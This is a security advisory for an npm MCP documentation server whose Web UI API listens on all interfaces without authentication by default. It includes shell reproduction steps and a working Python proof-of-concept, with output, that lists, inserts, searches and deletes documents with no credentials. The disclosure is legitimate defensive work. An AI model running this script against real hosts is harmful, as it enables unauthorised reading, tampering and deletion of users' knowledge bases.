@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default (GHSA-6f5r-5672-72j7) · Sieve
영향 받는 패키지 생태계 패키지 수정 버전 npm @andrea9293/mcp-documentation-server 1.13.1
오늘 목록으로
13
With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
The exposed API includes document-admin operations such as:
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/config
I did not send any Authorization header in the PoC requests, and all tested operations succeeded.
PoC
1. Build from source cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"
2. Start the server with default Web UI behavior Do not set START_WEB_UI=false.
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
3. Confirm that the Web UI/API binds to all interfaces ss -ltnp | grep ':3080' || true
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
This indicates the service is not bound only to 127.0.0.1.
4. Confirm that the API is reachable through the LAN IP LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
No authentication header was sent.
5. Full unauthenticated document-admin PoC cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")
marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
body = {
"title": "network-inserted-test-document",
"content": marker + "\nThis document was inserted through the unauthenticated network API.",
"metadata": {"source": "unauth-network-poc"}
}
status, added = req("POST", "/api/documents", body)
print(f"[2] add document: HTTP {status}, response={added}")
doc_id = None
if isinstance(added, dict):
doc_id = added.get("id") or added.get("document", {}).get("id")
if not doc_id:
status, docs = req("GET", "/api/documents")
for d in docs:
if d.get("title") == "network-inserted-test-document":
doc_id = d.get("id")
break
if not doc_id:
raise RuntimeError("could not locate inserted document id")
print(f"[2] inserted id={doc_id}")
status, doc = req("GET", f"/api/documents/{doc_id}")
content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
print(f"[3] read document: HTTP {status}, marker_present={marker in content}")
status, hits = req("POST", "/api/search-all", {
"query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
"limit": 5
})
print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")
status, deleted = req("DELETE", f"/api/documents/{doc_id}")
print(f"[5] delete document: HTTP {status}, response={deleted}")
print("[poc] DONE")
if __name__ == "__main__":
main()
PY
chmod +x /tmp/docsrv_unauth_poc.py
python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080
[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
Run the same PoC against the host's LAN IP:
LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080
[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
6. Cleanup kill "$DOCSRV_PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log
Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.
A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:
reading document titles, previews, and full document contents;
searching across the entire document corpus;
inserting attacker-controlled documents into the corpus;
deleting documents;
tampering with the user's local knowledge base used by the MCP assistant.
This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.
This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.
A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.